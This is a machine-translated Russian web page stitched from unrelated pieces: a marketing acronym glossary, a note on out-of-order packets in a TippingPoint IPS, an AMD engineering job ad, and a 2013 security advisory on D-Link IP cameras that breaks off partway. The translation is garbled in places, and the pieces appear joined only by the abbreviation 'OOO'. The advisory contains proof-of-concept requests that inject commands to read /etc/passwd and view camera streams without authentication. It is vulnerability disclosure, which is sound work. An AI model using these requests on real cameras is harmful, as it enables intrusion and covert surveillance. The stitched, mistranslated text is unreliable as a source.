Сумма дохода, которую получает бизнес на основе подписки в месяц.Включает MRR, полученный новыми учетными записями (чистый новый), MRR, полученный от дополнительных продаж (чистый положительный), MRR, потерянный из-за сниженных продаж (чистый отрицательный), и MRR, потерянный от аннулирования (чистый убыток).

NPS: Net Promoter Score

Показатель удовлетворенности клиентов, измеряющий по шкале от 0 до 10 степень, в которой люди будут рекомендовать вашу компанию другим. NPS рассчитывается на основе простого опроса, который поможет вам определить, насколько ваши клиенты лояльны к вашему бизнесу.

Чтобы рассчитать NPS, вычтите процент клиентов, которые не рекомендовали бы вас (недоброжелатели, или 0–6), из процента клиентов, которые рекомендовали бы (промоутеры или 9–10).

Регулярное определение NPS вашей компании позволяет вам определять способы улучшения ваших продуктов и услуг, чтобы вы могли повысить лояльность ваших клиентов. Узнайте больше о том, как использовать опросы NPS для маркетинга здесь.

NSFW: Не безопасно для работы

Сленговый термин в Интернете, используемый для предупреждения людей о том, что контент, который они собираются прочитать или посмотреть - будь то электронная почта, видео, форум или что-то еще - не подходит для рабочей среды. Обычно это означает, что есть ненормативная лексика или неприемлемый контент, и лучше смотреть его в свободное время.

ООО: Вне офиса или вне офиса

ООО можно использовать двумя способами:

  • Как фраза, означающая «вне офиса». Например, «Я буду ООО на следующей неделе».
  • Как прилагательное, означающее «вне офиса». Например, «Я написал ООО автоответчик, поэтому мне не нужно проверять электронную почту, пока я в отпуске».

Это не обязательно означает, что вы в отпуске; это просто означает, что вы физически не в своем офисе. Другими словами, вы можете быть ООО на Арубе со своей семьей, или вы можете быть ООО на конференции, на приеме у врача, на футбольном турнире вашей дочери и так далее.

Обычно, когда вы ООО, вы настраиваете автоответчик на свою электронную почту. Вот список из 17 лучших ООО сообщений электронной почты, которые мы когда-либо видели, на случай, если вам понадобится вдохновение.

PM: Менеджер проекта

PM - это буквально менеджеры проекта. Хотя они обычно не участвуют напрямую во всем, что требуется для получения конечного результата проекта, они существуют для регулирования хода проекта, определения способов снижения риска неудачи, максимизации выгод и минимизации затрат.Они также являются первым контактным лицом, если что-то может пойти не так.

ВОМ: оплачиваемый отпуск

PTO - это политика отпусков, которую используют некоторые компании, которая дает сотрудникам гибкость в использовании отведенных им отпусков и больничных. Как правило, это означает, что компания предоставляет своим сотрудникам банк часов, который объединяет вместе выходные, больничные и личные дни. Затем сотрудники могут при необходимости извлекать средства из этого банка.

PTO часто зарабатывается на ежемесячной основе или каждый платежный период, и если сотрудники берут на себя больше времени, чем у них есть PTO, они технически "должны" компании за это время - или они могут договориться со своими работодатель должен взять отпуск без оплаты.

ВОМ

может сильно различаться в зависимости от должности и компании, в которой вы работаете. Для получения дополнительной информации о вашей политике лучше всего обратиться в отдел кадров.

QoQ: квартал к кварталу

Изменения уровней, выраженные по сравнению с предыдущим кварталом. Показатели QoQ обычно более волатильны, чем в годовом исчислении, но менее волатильны, чем в месяцах.

QTD: с начала квартала

Период времени, начинающийся в начале текущего квартала и заканчивающийся текущей датой.

ROI: окупаемость инвестиций

Показатель эффективности, используемый для оценки эффективности и прибыльности инвестиций. Формула ROI: прибыль от инвестиций минус стоимость инвестиций, деленная на стоимость инвестиций. Результат выражается в процентах или соотношении. Если ROI отрицательный, то эта инициатива приносит убытки. Расчет может варьироваться в зависимости от того, что вы вводите для прибыли и затрат.

Маркетологи должны измерять рентабельность инвестиций для каждой тактики и канала, который они используют.Многие аспекты маркетинга имеют довольно простые расчеты рентабельности инвестиций (например, PPC), но другие более сложны (например, контент-маркетинг).

Малый и средний бизнес: малый и средний бизнес

Обычно определяется как компании, в которых работает от 10 до 500 сотрудников.

SWOT: сильные и слабые стороны, возможности, угрозы

SWOT-анализ - это когда компания проводит исследование, чтобы определить свои внутренние сильные и слабые стороны, а также внешние возможности и угрозы.Он дает стратегическое представление об основных возможностях и проблемах, существующих на их конкретном рынке.

Результат анализа? План действий высокого уровня, содержащий наиболее важные задачи, которые повлияют на успех данного отдела или организации в целом.

Узнайте, как проводить SWOT-анализ контент-маркетинга здесь.

UI: пользовательский интерфейс

Тип интерфейса, который позволяет пользователям управлять программным приложением или аппаратным устройством.Хороший пользовательский интерфейс обеспечивает удобный интерфейс, позволяя пользователю интуитивно взаимодействовать с программным или аппаратным обеспечением. Он может включать строку меню, панель инструментов, окна, кнопки и так далее. Узнайте, как создать удобный процесс регистрации на веб-сайте здесь.

URL: унифицированный указатель ресурсов

Также известный как веб-адрес, URL-адрес - это конкретная символьная строка, которая ссылается на ресурс. Он отображается в верхней части веб-браузера в адресной строке.Узнайте, как оптимизировать URL-адреса для поиска здесь.

UX: взаимодействие с пользователем

Общий опыт взаимодействия клиента с конкретным бизнесом, от открытия и осведомленности о бренде до взаимодействия, покупки, использования и потенциальной защиты. Чтобы обеспечить отличное качество обслуживания клиентов, вы должны думать как клиент или, лучше сказать, думать о как о как о покупателе. Узнайте больше об этом образе мышления здесь.

Г / г: в годовом исчислении

Изменения уровней, выраженных по сравнению с предыдущим годом.Годовой отчет включает больше данных, чем месяц за месяц или квартал за квартал, поэтому он дает вам лучший долгосрочный обзор.

С начала года: с начала года

Период времени, начинающийся в начале текущего года и заканчивающийся в текущую дату.

Это всего 75 наиболее часто используемых терминов на данный момент. Все время появляются новые тенденции, и по-настоящему лучшие маркетологи стараются продолжить обучение. Если вы хотите продолжить свое маркетинговое образование, попробуйте один из этих видов маркетинговых тренингов.

Хотите добавить в список маркетинговую или деловую аббревиатуру? Комментарий ниже с термином и его определением.

Примечание редактора: этот пост был первоначально опубликован в июне 2014 года и был обновлен для обеспечения свежести, точности и полноты.

устройств TippingPoint и неупорядоченные пакеты

Что такое нестандартные пакеты? Неупорядоченные (ООО) пакеты - это пакеты данных, которые прибывают в порядке, отличном от того, в каком они были отправлены.

Что вызывает неупорядоченные пакеты?

Множественные пути: Неупорядоченные пакеты могут быть вызваны потоками данных, идущими по нескольким путям в сети (например, трафик, проходящий через Интернет), или параллельными путями обработки в сетевом оборудовании, которые не предназначены для обеспечения того, чтобы пакет порядок сохраняется.

Организация очереди: 000 пакетов также могут быть вызваны плохо настроенной организацией очереди по пути или даже асимметричными конфигурациями маршрутизации.В случае постановки в очередь по пути ООО пакетов может быть вызвано, когда устройство постановки в очередь не пересылает пакеты в порядке «первым пришел / первым вышел» (FIFO).

Агрегация каналов: Балансировка нагрузки и агрегация каналов могут вызывать ООО пакетов, если используется алгоритм на основе циклического перебора (для каждого пакета).

UDP-трафик: Неупорядоченные пакеты также могут быть вызваны трафиком UDP. Эта проблема возникает в первую очередь из-за подключений без сохранения состояния и отсутствия механизмов управления потоком, существующих в протоколе UDP.Одна из функций TCP заключается в предотвращении доставки данных с нарушением порядка путем повторной сборки пакетов по порядку или принудительного повторного получения пакетов с нарушением порядка.

Превышение подписки: Избыточная подписка на устройства или ссылки также вызывает ООО пакетов. Ссылки и устройства с избыточной подпиской отбрасывают трафик, вызывая повторную передачу, замедление и неправильные пакеты.

Микропакет: В компьютерных сетях микропакет - это поведение, наблюдаемое в сетях с быстрой коммутацией пакетов, где быстрые пакеты данных отправляются в быстрой последовательности, что приводит к периодам передачи с полной линейной скоростью, что может привести к переполнению пакета. буферы сетевого стека.«Волна» микровсплесков проходит через сеть и прерывается, потому что устройства не могут справиться с дополнительной пропускной способностью. Эти пакеты отбрасываются, что приводит к повторной передаче, замедлению и неправильной передаче пакетов. Микропакет не отображается на счетчиках интерфейса из-за небольшой длины (100 миллисекунд или меньше) пакета.

Как IPS обрабатывает неупорядоченные пакеты?

Если IPS получает значительное количество ООО пакетов, IPS станет менее эффективным (перегруженным) с точки зрения проверки.Это связано с тем, что пакеты с нарушением порядка должны быть повторно собраны, прежде чем может произойти проверка пакетов и сопоставление триггеров. Эти функции повторной сборки и проверки выполняются на уровнях 3 и 4 механизма подавления угроз. К трем наиболее ресурсоемким операциям относятся:

  • Повторная сборка IP
  • Проверка угроз
  • Переупорядочение пакетов TCP

Уменьшение количества неупорядоченных, фрагментированных и мелких пакетов

В наши дни большинство маршрутизаторов и коммутаторов могут помочь в оптимизации трафика, если они настроены для этого.В некоторых случаях частью проблемы может быть широкое использование агрегации каналов и балансировки нагрузки. Если с IPS используется агрегация каналов, необходимо поддерживать сходство потока трафика. Используйте алгоритм на основе потока, такой как агрегирование с использованием исходного IP-адреса. Это гарантирует, что все фрагменты из любого конкретного потока пройдут через один и тот же сегмент.

каналов WAN являются частой причиной фрагментации из-за необходимости дополнительной инкапсуляции. Когда происходит IP-фрагментация, дейтаграммы разбиваются на более мелкие части для создания пакетов, которые будут проходить через ссылку.В этих случаях важно определить, какие виды оптимизации, повторной сборки и повторной инкапсуляции выполняют конечные точки, прежде чем трафик будет перенаправлен по сети. Кроме того, важно определить (в случае зашифрованного трафика или нестандартных протоколов), должна ли IPS вообще его проверять.

Приложения, которые полагаются на протокол UDP, обычно являются причиной увеличения количества мелких пакетов в сети. Имейте в виду, что многие инструменты управления сетью широко используют SNMP, который обычно основан на UDP (в зависимости от версии).Приложения для обмена файлами также широко используют протокол UDP. Устранение или направление этих типов трафика через определенные сегменты сети, которые могут по-разному проверяться IPS, может снизить общее воздействие на систему.

Контроллер дисплея Инженер по IP-проектированию и проверке дизайна

То, что вы делаете в AMD, меняет все

В AMD мы раздвигаем границы возможного.Мы верим в изменение мира к лучшему путем внедрения инноваций в области высокопроизводительных вычислений, графики и технологий визуализации - строительных блоков для игр, иммерсивных платформ и центров обработки данных.

Для разработки отличных технологий требуется больше, чем талант: нужны замечательные люди, которые понимают сотрудничество, уважение и готовы приложить дополнительные усилия для достижения немыслимых результатов. Для этого нужны люди, у которых есть страсть и желание нарушить статус-кво, раздвинуть границы, внедрить инновации и изменить мир.Если у вас есть такая страсть, мы приглашаем вас взглянуть на имеющиеся возможности присоединиться к нашей команде.

Контроллер дисплея Инженер по проектированию и проверке конструкции IP

Роль:

Группа контроллеров дисплея в группе Radeon Technologies Group (RTG) ищет человека для участия в проверке конструкции IP-адреса дисплея.

Человек:

Вы возглавите команду инженеров по верификации проекта, работающих напрямую с архитекторами, руководителями RTL и владельцами IP, чтобы понять и проверить функциональность проекта в контексте SOC. Вы будете нести ответственность за тщательный анализ требований к ресурсам и работу с командой над разработкой, исполнением и наставничеством по мере необходимости. Предполагается, что кандидат примет развивающиеся современные методологии проверки, используемые в отрасли для функциональной проверки все более сложных проектов ИС в контексте дизайна SOC для соответствия рыночным графикам.

Основные обязанности:
  • Понимание функциональных требований и требований к производительности Display IP в APU и dGPU SOC
  • Возьмите на себя техническое руководство и возьмитесь за задачи разработки
  • Требования к объему и ресурсы для выполнения сложных графиков проекта
  • Руководство небольшой командой инженеров
  • Создание, повторное использование и отладка тестовых примеров и компонентов тестового стенда для использования IP и SOC
  • Интеграция и управление строкой кода
  • Составьте план тестирования и покрытия для обеспечения функциональной полноты
  • Подтверждение качества IP для доставки в SOC
  • Эффективно взаимодействуйте с многопрофильными командами по всему миру

Желаемый опыт:
  • Минимум 10+ лет подтвержденного опыта проверки в крупных проектах разработки ASIC или эквивалентного опыта программирования встраиваемых систем с глубоким пониманием архитектуры оборудования
  • Очень хороший опыт в технологиях кодирования Verilog, System Verilog, C / C ++ / OOO
  • Большой опыт работы с Cadence NCSIM, Synopsys VCS или аналогичными
  • Большой опыт работы с UVM, OVM или аналогичными
  • Опыт работы с языками сценариев, Ruby / Python / Tcl / BASH / и т. Д.
  • Сильные аналитические способности и внимание к деталям
  • Отличные письменные и коммуникативные навыки
  • Должен быть инициативным и способен самостоятельно доводить задачи до их завершения.
  • Отличный товарищ по команде с проверенными лидерскими качествами

Академические данные:
  • Мин. Бакалавр наук в области электротехники, информатики или компьютерной инженерии.

# LI-EM1

Номер заявки: 88368
Страна: Канада Провинция: Онтарио Город: Маркхэм
Должность: Дизайн

AMD - инклюзивный работодатель, стремящийся создать разнообразную рабочую силу.Мы поощряем заявки от всех квалифицированных кандидатов и будем учитывать потребности кандидатов в соответствии с кодексами прав человека соответствующих провинций на всех этапах процесса приема на работу и отбора. Любой заявитель, которому требуется жилье, должен связаться с [email protected]

AMD не принимает резюме от хедхантеров, кадровых агентств или платных служб найма.

IP-камеры D-Link Множественные уязвимости

1.Консультативная информация

Заголовок: IP-камеры D-Link Множественные уязвимости
Идентификатор рекомендации: CORE-2013-0303
URL-адрес консультативного сообщения: http://www.coresecurity.com/core-labs/advisories/d-link-ip -cameras-multiple-уязвимости
Дата публикации: 2013-04-29
Дата последнего обновления: 29.03.2013
Поставщики, с которыми обращались: D-Link Corporation
Режим выпуска: Скоординированный выпуск

2.Информация об уязвимости

Класс: Внедрение команды ОС [CWE-78], Проблемы аутентификации [CWE-287], Утечка информации через запрос GET [CWE-598], Проблемы аутентификации [CWE-287], Использование жестко заданных учетных данных [CWE- 798]
Влияние: Выполнение кода, обход безопасности
Возможность удаленного использования: Да
Возможность использования локально: Нет
Имя CVE: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602, CVE-2013-1603

3.Описание уязвимости

В IP-камерах D-Link [1] было обнаружено множество уязвимостей, которые могут позволить удаленному злоумышленнику, не прошедшему проверку подлинности:

  1. [CVE-2013-1599] для выполнения произвольных команд из веб-интерфейса администрирования,
  2. [CVE-2013-1600] для доступа к видеопотоку через HTTP,
  3. [CVE-2013-1601] для доступа к видеопотоку ASCII через яркость изображения,
  4. [CVE-2013-1602] для доступа к видеопотоку через RTSP,
  5. [CVE-2013-1603] для обхода аутентификации RTSP с использованием жестко заданных учетных данных.

4. Уязвимые пакеты

Ниже приводится список затронутых устройств и связанная прошивка (подтвержденная D-Link). Возможно, пострадали и другие артикулы, но они не проверялись.

[CVE-2013-1599]

  • DCS-3411/3430 - прошивка v1.02
  • DCS-5605/5635 - версия 1.01
  • DCS-1100L / 1130L - версия 1.04
  • DCS-1100/1130 - версия 1.03
  • DCS-1100/1130 - версия 1.04_US
  • DCS-2102/2121 - v1.05_RU
  • DCS-3410 - v1.02
  • DCS-5230 - версия 1.02
  • DCS-5230L - версия 1.02
  • DCS-6410 - версия 1.00
  • DCS-7410 - версия 1.00
  • DCS-7510 - версия 1.00
  • WCS-1100 - версия 1.02

[CVE-2013-1600]

  • DCS-2102/2121 - v1.05_RU
  • DCS-2102/2121 - версия 1.06
  • DCS-2102/2121 - версия 1.06_FR
  • TESCO DCS-2102/2121 - v1.05_TESCO

[CVE-2013-1601] и [CVE-2013-1603]

  • DCS-3411/3430 - v1.02
  • DCS-5605/5635 - версия 1.01
  • DCS-1100L / 1130L - версия 1.04
  • DCS-1100/1130 - версия 1.03
  • DCS-1100/1130 - версия 1.04_US
  • DCS-2102/2121 - v1.05_RU
  • DCS-2102/2121 - версия 1.06
  • DCS-2102/2121 - версия 1.06_FR
  • TESCO DCS-2102/2121 - v1.05_TESCO
  • DCS-3410 - версия 1.02
  • DCS-5230 - версия 1.02
  • DCS-5230L - версия 1.02
  • DCS-6410 - версия 1.00
  • DCS-7410 - версия 1.00
  • DCS-7510 - v1.00
  • WCS-1100 - версия 1.02

[CVE-2013-1602]

  • ВСЕ указанные устройства и прошивки.

5. Информация для поставщиков, решения и обходные пути

D-Link объявляет, что все исправления готовы и запланированы для размещения на корпоративном веб-сайте для всех клиентов [2013-04-25]. Свяжитесь с D-Link для получения дополнительной информации.

6. Кредиты

[CVE-2013-1599], [CVE-2013-1600] и [CVE-2013-1601] были обнаружены и исследованы Франсиско Фальконом и Науэлем Рива из группы разработчиков Core Exploit Writers.

[CVE-2013-1602] был обнаружен и исследован Мартином Роча из Core Impact Pro Team. PoC был сделан Мартином Роча с помощью Хуана Котты из Core QA Team.

[CVE-2013-1603] был обнаружен и исследован Пабло Сантамария из Core Security Consulting Services.

Публикацию этого информационного сообщения координировал Фернандо Миранда из Core Advisories Team.

7. Техническое описание / Подтверждение концепции, код

7.1. Внедрение команд ОС

[CVE-2013-1599] Проблема безопасности, расположенная в /var/www/cgi-bin/rtpd.cgi , позволяет удаленному злоумышленнику, не прошедшему проверку подлинности, выполнять произвольные команды через веб-интерфейс камеры. Внедрение команды ОС происходит из-за этого кода в rtpd.cgi:

 echo "$ QUERY_STRING" | grep -vq '' || die "строка запроса не может содержать пробелов". .
$ conf> / dev / null 2> / dev / null eval "$ (echo $ QUERY_STRING | sed -e 's / & / / g')" 

Первая строка этого фрагмента обеспечивает отсутствие пробелов в $ QUERY_STRING .Последняя строка использует sed для замены амперсандов и пробелами, а затем вызывает функцию eval () , что приводит к типичному внедрению команды. Например, для выполнения:

 uname -a; cat / etc / passwd, 

в веб-интерфейс камеры можно отправить следующий запрос:

 http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd 

7.2. Обход аутентификации

[CVE-2013-1600] Удаленный злоумышленник может получить доступ к видеопотоку в реальном времени без аутентификации с помощью следующего запроса:

 http: // 192.168.1.100 / upnp / asf-mp4.asf 

7.3. Утечка информации о видеопотоке ASCII

[CVE-2013-1601] К выходу ASCII (яркости изображения) видеопотока в реальном времени может получить доступ удаленный неаутентифицированный злоумышленник через:

 http://192.168.1.100/md/lums.cgi 

Следующий пример представляет собой вывод видеопотока из кофейника:

O O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o

O O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o

O O O O O O O O O O O O O O O O O.. . o O O o o o o o o o o o o o

O O O O O O O O O O O O o o O O o. . o o o o o o o o o o o o o o

O O O O O O O O O O O O o o o o. . . . . . o o o o o o o

O O O O O O O O O O o. о О О о. o o o o o o

О О О О О О О О. . o o o o o o

О О О О О О О О.. o o o o o o o o

О О О О О О О. . о О О о. . o o o o o o o o o

O O O O O O o. О О О О О О. o o o o o o o o o

О О О О О О. О О О О О О О. . . . . o o o o o o o o o

О О О О О О О О О О О О О. . . о. . . o o o o o o o o

О О О О О О О О О О О О О.. . о о о. . . . . . . o o o o o o o o

O O O O O O o O O O O O O o. о О О о О О. . . . . . . . o o o o o o o

О О О О О О. о О О О О О О о. О О О О О О. . . . . . . . . o o o o o o

О О О О О О. . О О О О О о. . О О О О О О О. . . . . . . . o o o o o o

O O O O O O o O O O O O o. o O O o o O O o. . . . . . . . . o o o o o

О О О О О О О О О О О О.. o O O o o O O o. . . . . . . . . o o o o o

О О О О О О О. о О О О о. o o o O o o O O o. . . . . . . . . . о о о о

O O O O O O O o. О О О О. o o o O o o O O o. . . . . . . . . . о о о о

О О О О О О О О. О О О. . o o o O o o O O o. . . . . . . . . . о о о о

О О О О О О О О О О О. . o o o O o o O O o. . . . . . . . . . . о о о

O O O O O O O O o o O o o o o o O o o o O o.. . . . . . . . . . о о о

О О О О О О О О. О o o o o o O o. о о о. . . . . . . . . . . . о о

О О О О О О О О. О о. о о о о о. . о о о. . . . . . . . . . . . . o

O O O O O O O O O o o. . о о о о о. . о о о. . . . . . . . . . . o

О О О О О О О О О. . . о о о. о. . о о о. . . . . .

о О О О О О О О О. .о о о. о. . . О о. . .

o o O O O O O O O O o. о о о. о. . . О о. .

o o o O O O O O O O o. о о о. о. . . О о.

7,4. Обход аутентификации RTSP

[CVE-2013-1602] Эта уязвимость возникает из-за того, что:

    1. Аутентификация присутствует только в запросах DESCRIBE, но не в каждом последующем запросе.
    2. Когда устанавливается сеанс RTSP, запрос аутентификации текущего сеанса игнорируется (вместо него используется ранее сохраненный ответ).
 alt; p> В результате к видеопотоку может получить доступ неаутентифицированный удаленный злоумышленник.